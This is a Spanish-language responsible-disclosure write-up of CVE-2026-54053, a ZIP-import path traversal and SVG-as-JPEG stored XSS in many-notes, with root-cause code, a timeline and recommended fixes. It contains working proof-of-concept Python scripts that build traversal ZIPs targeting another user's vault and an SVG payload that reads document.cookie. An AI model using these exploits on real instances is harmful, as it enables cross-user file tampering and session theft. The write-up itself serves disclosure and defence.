CVE-2026-54053 — Path Traversal + Stored XSS vía Importación ZIP en Many Notes
ZIP import sin sanitización de path traversal + validación MIME permisiva en brufdev/many-notes permite escritura arbitraria entre vaults y XSS almacenado. CVSS 9.6 Crítico.
| CVE ID | CVE-2026-54053 | |
|---|---|---|
| Severity | Critical | |
| CVSS | 9.6 | |
| Affected | brufdev/many-notes <= 0.15.5 |
| Campo | Valor |
|---|---|
| CVE | CVE-2026-54053 |
| GHSA | GHSA-wg8j-9c2g-xh6r |
| Proyecto | many-notes (brufdev/many-notes) |
| Versiones afectadas | <= 0.15.5 |
| Versión parcheada | 0.15.6 |
| Clase de vulnerabilidad | Path Traversal (variante ZipSlip) + confusión MIME + XSS almacenado |
| Score CVSS v3.1 | 9.6 Crítico |
| Vector CVSS v3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N |
| Autenticación requerida | Sí |
| Reportado por | Diego Valencia (@pirrandi) |
Línea de Tiempo del Disclosure
| Fecha | Evento |
|---|---|
| 5 de marzo de 2026 | Reporte inicial enviado al maintainer (brufdev@proton.me) con PoC completo |
| 5 de marzo de 2026 | El maintainer confirmó ambas vulnerabilidades el mismo día |
| 11 de marzo de 2026 | GitHub Security Advisory abierto (GHSA-wg8j-9c2g-xh6r) |
| 12 de marzo de 2026 | Reporter acreditado como colaborador |
| 15 de mayo de 2026 | Maintainer publicó imagen de prueba para verificación |
| 18 de mayo de 2026 | Fix verificado en brufdev/many-notes:test |
| Mayo de 2026 | Versión 0.15.6 publicada con el parche |
| Junio de 2026 | CVE-2026-54053 asignado por GitHub CNA |
Resumen
La funcionalidad que permite importar ZIP de vaults no sanitiza las secuencias ../ en los nombres de las entradas (carpetas). Un archivo ZIP manipulado puede escapar del directorio objetivo del importador y escribir archivos arbitrarios en el directorio de cualquier otro usuario, incluyendo la sobreescritura de archivos existentes.
Una vez que la jerarquía de nodos de traversal existe en la base de datos, las operaciones de renombrado de archivos tanto del atacante como de la víctima resuelven al mismo directorio en disco, habilitando sobreescritura bidireccional y lectura de archivos entre usuarios.
Ademas, existe una falla separada en la validación MIME que permite subir archivos SVG con codigo javascript disfrazado de imágenes .jpg. Combinado con el Path Traversal, un atacante puede reemplazar una imagen de la víctima con un payload XSS que se ejecuta cuando la víctima abre la URL del archivo directamente.
Reproduciendo el bug
Utilizamos dos cuentas:
- Atacante
- Victima
Al registrar ambas cuentas, la app crea un “Starter Vault” por defecto para cada una. Lo primero es obtener los IDs de los usuarios.
A lo largo de este documento se usaran estas referencias:
ATTACKER_USER_ID= ID de usuario del atacanteVICTIM_USER_ID= ID de usuario de la víctimaVICTIM_VAULT_NAME= nombre del vault objetivo de la víctima (ej.Starter Vault)ATTACKER_VAULT_ID= ID del vault del atacante
Nota: Los IDs de usuario son enteros secuenciales, enumerables por fuerza bruta sin acceso a la base de datos.
¿Cuál es la causa?
1. La opcion que permite importar el ZIP almacena .. como un nombre de nodo válido
app/Actions/ProcessImportedVault.php
$entryName = $zip->getNameIndex($i); // ej. "../"
$entryDirName = mb_rtrim($entryName, '/'); // → ".."
$attributes['name'] = pathinfo($entryDirName, PATHINFO_BASENAME); // → ".."
// Sin validación: el nombre ".." se almacena en la BD sin cambios
$node = new CreateVaultNode()->handle($vault, $attributes, false);
pathinfo('../', PATHINFO_BASENAME) retorna .. , no elimina el componente de traversal.
2. El constructor de rutas concatena nombres de nodo directamente desde la BD
app/Actions/GetPathFromVaultNode.php
$path = sprintf('private/vaults/%u/%s/', $user->id, $vault->name);
// recorre la cadena de ancestros concatenando nombres
$path .= $node->name . ($node->is_file ? '.' . $node->extension : '');
// ej.: "private/vaults/2/my-vault/../../3/Starter Vault/target.jpg"
Cualquier nodo con name = ".." provoca que la ruta escape del directorio del vault.
3. Flysystem no impone un chroot en put() o move()
Storage::disk('local')->put($path, $content);
// ruta: "private/vaults/2/my-vault/../../3/Starter Vault/pwned.png"
// El SO resuelve ../: escribe en private/vaults/3/Starter Vault/pwned.png ✓
Storage::disk('local')->move($oldPath, $newPath);
// Ambas rutas escapan del vault del atacante y operan dentro del directorio de la víctima
4. La validación MIME de imágenes acepta contenido SVG
app/Services/VaultFiles/Types/Image.php
private static function mimeTypesList(): array {
return ['image/']; // coincidencia por prefijo — demasiado amplio
}
finfo->buffer('<svg>...</svg>') retorna image/svg+xml.
str_starts_with('image/svg+xml', 'image/') → true → el SVG pasa la validación como imagen con extensión .jpg.
Al servirse, BinaryFileResponse de Symfony detecta el MIME real del contenido → Content-Type: image/svg+xml → el navegador ejecuta el <script> embebido al cargar el documento como top-level.
Vectores de Ataque
Vector 1 — Escritura Arbitraria de Archivos
Objetivo: Plantar un nuevo archivo dentro del vault de cualquier víctima sin interacción de su parte.
Paso 1.1 — Identificar el objetivo
Encontrar el ID de usuario de la víctima y el nombre del vault.
Los IDs de los usuarios son enteros secuenciales, asi que por una simple fuerza bruta con BurpSuite o un script utilizando CURL se pueden encontrar.
Paso 1.2 — Crear el ZIP malicioso
Se utiliza VICTIM_USER_ID (El ID de la victima) y VICTIM_VAULT (el ID del vault a atacar de la victima).
import zipfile
from zipfile import ZipInfo
def create_minimal_pdf():
return (
b'%PDF-1.1\n'
b'1 0 obj <</Type/Catalog/Pages 2 0 R>> endobj\n'
b'2 0 obj <</Type/Pages/Kids[3 0 R]/Count 1>> endobj\n'
b'3 0 obj <</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Contents 4 0 R/Resources<<>>>> endobj\n'
b'4 0 obj <</Length 51>> stream\n'
b'BT /F1 24 Tf 100 700 Td (pwned) Tj ET\n'
b'endstream endobj\n'
b'xref\n0 5\n'
b'0000000000 65535 f\n0000000009 00000 n\n'
b'0000000052 00000 n\n0000000101 00000 n\n0000000201 00000 n\n'
b'trailer <</Size 5/Root 1 0 R>>\nstartxref\n302\n%%EOF'
)
VICTIM_USER_ID = 2
VICTIM_VAULT = 'test'
FILE_NAME = 'pwned.pdf'
dirs = [
'../',
'../../',
f'../../{VICTIM_USER_ID}/',
f'../../{VICTIM_USER_ID}/{VICTIM_VAULT}/',
]
with zipfile.ZipFile('traversal.zip', 'w', zipfile.ZIP_DEFLATED) as zf:
for d in dirs:
info = ZipInfo(d)
info.external_attr = 0o40755 << 16
zf.writestr(info, '')
file_info = ZipInfo(f'../../{VICTIM_USER_ID}/{VICTIM_VAULT}/{FILE_NAME}')
zf.writestr(file_info, create_minimal_pdf())
print(f'traversal.zip creado con {FILE_NAME}')
Esto crea traversal.zip con las siguientes entradas:
../
../../
../../{VICTIM_USER_ID}/
../../{VICTIM_USER_ID}/{VICTIM_VAULT}/
../../{VICTIM_USER_ID}/{VICTIM_VAULT}/pwned.pdf
Paso 1.3 — Importar como atacante
- Iniciar sesión con la cuenta del atacante. Y navegar a los vaults
http://localhost:8080/vaults. - Hacer clic en Import Vault (no “Import File”).
- Subir
traversal.zip. En este punto se debe importar sin errores el ZIP malicioso.
La app crea nodos de directorio con name = ".." en la BD.
Paso 1.4 — Verificar
Iniciar sesión como la víctima. Abrir el vault objetivo. Y debe aparecer el pwned.pdf escrito por el atacante.
Vector 2 — Sobreescritura Arbitraria de Archivos (Bidireccional)
Objetivo: Reemplazar un archivo existente en el vault de la víctima con contenido controlado por el atacante.
Paso 2.1 — Identificar el archivo objetivo
Iniciar sesión como víctima, abrir el vault, anotar el nombre de un archivo existente (ej. foto.jpg). Los nombres de archivo se almacenan tal cual, la app no los hashea.
Paso 2.2 — Crear el ZIP de sobreescritura
Editar VICTIM_USER_ID, VICTIM_VAULT, FILE_NAME en create_traversal.py y ejecutar:
python3 create_traversal.py
Paso 2.3 — Importar y verificar
Importar traversal.zip como atacante. Iniciar sesión como víctima e importar un archivo .pdf al vault. En el vault del atacante, renombrar el .pdf con el mismo nombre que el .pdf de la víctima — el contenido del PDF del atacante sobreescribe el de la víctima.
Vector 3 — XSS Almacenado vía SVG Disfrazado como JPEG
Objetivo: Reemplazar una imagen de la víctima con un payload XSS en SVG. Se ejecuta cuando la víctima abre la URL del archivo directamente.
Paso 3.1 — Crear el ZIP con XSS
Se utiliza TARGET_USER, TARGET_VAULT, TARGET_FILE
import zipfile
from zipfile import ZipInfo
SVG_XSS = b'''<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.addEventListener("DOMContentLoaded", function() {
fetch("/livewire/update", {
method: "POST",
headers: { "Content-Type": "text/plain" }
});
});
alert("XSS as: " + document.cookie);
</script>
</svg>'''
TARGET_USER = 2
TARGET_VAULT = 'xss_test'
TARGET_FILE = 'image.jpg' # jpg existente de la víctima
dirs = [
'../',
'../../',
f'../../{TARGET_USER}/',
f'../../{TARGET_USER}/{TARGET_VAULT}/',
]
with zipfile.ZipFile('xss.zip', 'w', zipfile.ZIP_DEFLATED) as zf:
for d in dirs:
info = ZipInfo(d)
info.external_attr = 0o40755 << 16
zf.writestr(info, '')
file_info = ZipInfo(f'../../{TARGET_USER}/{TARGET_VAULT}/{TARGET_FILE}')
zf.writestr(file_info, SVG_XSS)
print('xss.zip creado')
print(f'Payload: SVG/JS disfrazado como .jpg')
print(f'Target: private/vaults/{TARGET_USER}/{TARGET_VAULT}/{TARGET_FILE}')
Paso 3.2 — Importar como atacante
Importar el ZIP con Import Vault.
Paso 3.3 — Por qué el SVG bypasea la validación de imágenes
finfo->buffer(SVG_CONTENT)→image/svg+xml- Validador:
str_starts_with('image/svg+xml', 'image/')→true - La extensión
jpgestá en la lista permitida y se almacena en disco como.jpgcon contenido SVG
Paso 3.4 — Disparar el XSS
La víctima abre (o recibe) la URL directa del archivo:
http://localhost:8080/files/{VICTIM_VAULT_ID}?path=/{TARGET_FILE}
El navegador recibe Content-Type: image/svg+xml , ejecuta el <script> y el alert se dispara con las cookies de la víctima.
Condiciones:
| Contexto | ¿XSS se ejecuta? | Razón |
|---|---|---|
URL directa (/files/{id}?path=...) | Sí | El navegador renderiza el SVG como documento top-level |
Imagen embebida en nota (<img>) | No | Los navegadores sandboxean scripts SVG en <img> |
Slot PDF (<object>) | Potencialmente | <object> ejecuta scripts para SVG del mismo origen |
Resumen de Impacto
| Vector | Confirmado | Severidad |
|---|---|---|
| Escritura arbitraria de archivos en cualquier vault | Sí | Alto |
| Sobreescritura de archivo existente (ZIP) | Sí | Alto |
| Sobreescritura vía renombrado del atacante | Sí | Alto |
| Lectura de archivo de víctima vía renombrado | Sí | Alto |
XSS almacenado vía SVG como .jpg | Sí (URL directa) | Alto |
Lectura de notas .md / .txt | No (bloqueado por FileController) | — |
Correcciones Recomendadas
Fix 1 — Rechazar nombres de nodo .. durante la importación ZIP
// app/Actions/ProcessImportedVault.php
$name = pathinfo($entryDirName, PATHINFO_BASENAME);
if ($name === '..' || $name === '.') {
continue;
}
$attributes['name'] = $name;
Fix 2 — Verificar límite de ruta antes de cualquier operación en disco
// Después de construir $relativePath en GetPathFromVaultNode o FileController
$disk = Storage::disk('local');
$resolved = realpath($disk->path($relativePath));
$base = realpath($disk->path(sprintf('private/vaults/%u', $user->id)));
if ($resolved === false || !str_starts_with($resolved, $base . DIRECTORY_SEPARATOR)) {
abort(403);
}
Fix 3 — Lista explícita de tipos MIME para imágenes
// app/Services/VaultFiles/Types/Image.php
private static function mimeTypesList(): array {
return ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
}
Conclusión
El path traversal por sí solo permite escritura de archivos entre usuarios, pero combinado con la validación MIME laxa se convierte también en un vector de XSS almacenado.
El fix es directo, rechazar .. en la capa de importación y verificar límites de ruta estrictos antes de cualquier operación en disco. Bruno, el maintainer, respondió rápido, coordinó el disclosure de forma profesional y publicó el parche dentro del plazo. El proceso de responsible disclosure funcionó de principio a fin.
PoC
Referencias
- GitHub Advisory GHSA-wg8j-9c2g-xh6r
- CVE-2026-54053 en cve.org
- Investigación ZipSlip por Snyk
- CWE-22: Limitación Inadecuada de Ruta a Directorio Restringido
- CWE-434: Carga Irrestricta de Archivo con Tipo Peligroso
- CWE-79: Cross-site Scripting
- OWASP Path Traversal
CVE-2026-54053: Path Traversal via ZIP Import — many-notes https://github.com/pirrandi/
| Author | Published at | License |
|---|---|---|
| Diego Valencia | 2026-06-11 | CC BY-NC-SA 4.0 |